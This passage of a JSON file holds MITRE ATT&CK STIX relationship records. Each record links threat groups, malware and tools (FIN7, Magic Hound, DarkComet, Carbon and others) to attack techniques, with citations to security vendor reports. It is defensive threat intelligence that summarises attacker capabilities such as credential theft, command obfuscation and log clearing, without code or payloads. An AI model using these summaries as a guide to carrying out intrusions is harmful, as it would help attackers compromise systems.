"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--95fc970d-98cd-4bc9-895a-9534ba89c795", + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "modified": "2019-06-30T23:13:18.528Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.676Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3fb836b7-41cf-40d1-bd56-14e45e6bbd02", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Taidoor](https://attack.mitre.org/groups/G0015) uses RC4 to encrypt the message body of HTTP content.", + "type": "relationship", + "created": "2017-05-31T21:33:27.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bdba5fef-c560-4b8a-9ce5-616395a73841", + "external_references": [ + { + "source_name": "TrendMicro Taidoor", + "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) stole domain credentials from Microsoft Active Directory Domain Controller and leveraged [Mimikatz](https://attack.mitre.org/software/S0002).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--98d076a5-9640-4337-a5a0-27c0c8a3374b", + "external_references": [ + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "modified": "2019-03-25T14:25:29.616Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-30T23:13:18.593Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e232f720-ab39-43f4-b419-ae8de115c5e6", + "external_references": [ + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + } + ], + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses FTP for command and control.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27729570-1933-4e9e-b916-7da56de33d40", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.286Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) obtains the victim computer name and encrypts the information to send over its C2 channel.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a8a36ee-66f8-42ca-abeb-29e6223b91ee", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SDelete](https://attack.mitre.org/software/S0195) deletes data in a way that makes it unrecoverable.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35f3fba0-7deb-4436-87a2-503c96f69342", + "external_references": [ + { + "source_name": "Microsoft SDelete July 2016", + "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + } + ], + "modified": "2019-04-24T00:37:08.768Z", + "source_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can create a new service to establish persistence.", + "type": "relationship", + "created": "2019-01-29T14:51:06.742Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a9a71970-33d1-4336-acb3-9252b91d27a4", + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "modified": "2019-04-16T20:26:40.960Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) modifies several Registry keys under HKCU\\Software\\Microsoft\\Internet Explorer\\ PhishingFilter\\ to disable phishing filters.", + "type": "relationship", + "created": "2019-01-29T17:59:44.529Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a9a0ecce-239c-4666-94e9-ef1fb64cf796", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.215Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the IP address of the victim machine.", + "type": "relationship", + "created": "2019-01-29T18:44:04.968Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2fc8879c-1763-4ed0-b1d8-67b4c3d49ed9", + "external_references": [ + { + "source_name": "DigiTrust Agent Tesla Jan 2017", + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + } + ], + "modified": "2019-04-16T14:30:35.417Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) has full control of the Registry, including the ability to modify it.", + "type": "relationship", + "created": "2019-01-29T18:55:20.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66f2f7b3-3df9-4d4a-bedc-ecacac3039e8", + "external_references": [ + { + "source_name": "Riskiq Remcos Jan 2018", + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "modified": "2019-04-19T14:39:53.102Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can listen in to victims' conversations through the system\u2019s microphone.", + "type": "relationship", + "created": "2019-01-29T19:18:28.640Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9f6e673-8c15-465e-9ef0-2bcc8efc586e", + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.669Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) can collect the IP address of the victims and other computers on the network using the commands: ipconfig -all nbtstat -n, and nbtstat -s.", + "type": "relationship", + "created": "2019-01-29T19:36:02.743Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45f5f01e-cfdd-4212-8bd6-0c1b0c82a0a2", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + }, + { + "source_name": "GovCERT Carbon May 2016", + "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.", + "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf" + } + ], + "modified": "2019-04-12T14:43:22.690Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) creates a base directory that contains the files and folders that are collected.", + "type": "relationship", + "created": "2019-01-29T19:36:02.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--487cc105-dd80-4b43-94ae-da23517aab6f", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "modified": "2019-04-12T14:43:22.708Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) gathers information on local group names.", + "type": "relationship", + "created": "2019-01-29T19:55:48.163Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bc5b2681-d0e9-4ef5-9a90-56358ea34d96", + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "modified": "2019-07-26T16:10:43.096Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Adversaries can direct [BACKSPACE](https://attack.mitre.org/software/S0031) to upload files to the C2 Server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9267fe42-6290-4342-8024-38d703db4376", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used HTTP requests for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1782abeb-8d28-42a1-8abe-c137f23b282c", + "external_references": [ + { + "source_name": "NorthSec 2015 GData Uroburos Tools", + "description": "Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.", + "url": "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:06:12.716Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9155d072-d94b-4a63-b089-26781aff5275", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "relationship_type": "uses", + "target_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the MAC address, computer name, and CPU information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--041e8f9b-6cdb-44b3-aa37-a274a4de9a0b", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.305Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to clear event logs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c887c671-d467-45a1-952b-8fd20cd77ec1", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can open a command line interface.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5f0a56f1-f9ef-41c5-a994-fcf499a02b90", + "external_references": [ + { + "source_name": "Symantec Wiarp May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) gathers the IP address from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T20:05:36.563Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--14fe92e6-9a5e-4116-8316-e52f6270b02c", + "external_references": [ + { + "source_name": "DigiTrust NanoCore Jan 2017", + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + } + ], + "modified": "2019-04-17T20:47:23.990Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a utility called CLOSESHAVE that can securely delete a file from the system.", + "type": "relationship", + "created": "2019-01-29T21:27:25.235Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--161225df-de21-4715-b4f3-c324c05ff590", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "modified": "2019-04-29T17:49:17.904Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) collects the OS system, OS version, MAC address, and the computer name from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T21:33:34.664Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--520faa7e-f529-4b54-b4dc-55d6ae094717", + "external_references": [ + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "modified": "2019-04-23T21:17:49.913Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to access the webcam on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T21:40:37.812Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--17bee216-d5ff-4e66-b221-0129be41b4f5", + "external_references": [ + { + "source_name": "Zscaler Cobian Aug 2017", + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "modified": "2019-04-23T21:09:54.753Z", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve information such as hostname and free disk space.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c5087d19-7d99-4106-9dc7-407c7de710be", + "external_references": [ + { + "source_name": "Symantec Pasam May 2012", + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Octopus](https://attack.mitre.org/software/S0340) collects the host IP address from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T13:24:09.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b184c8f-99d6-4af2-8c01-34fc5d6d89e3", + "external_references": [ + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "modified": "2019-01-30T13:24:09.060Z", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-MicrophoneAudio Exfiltration module can record system microphone audio.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2a32c434-c3ef-42ee-a0b6-c64c589355c3", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.261Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) uses cmd.exe to execute itself in-memory.", + "type": "relationship", + "created": "2019-01-30T13:53:14.927Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9da5f1e4-2039-4c6a-8800-2c9277092d7c", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:22.050Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.638Z", + "type": "relationship", + "created": "2019-01-30T14:19:17.921Z", + "object_marking_refs": [ + 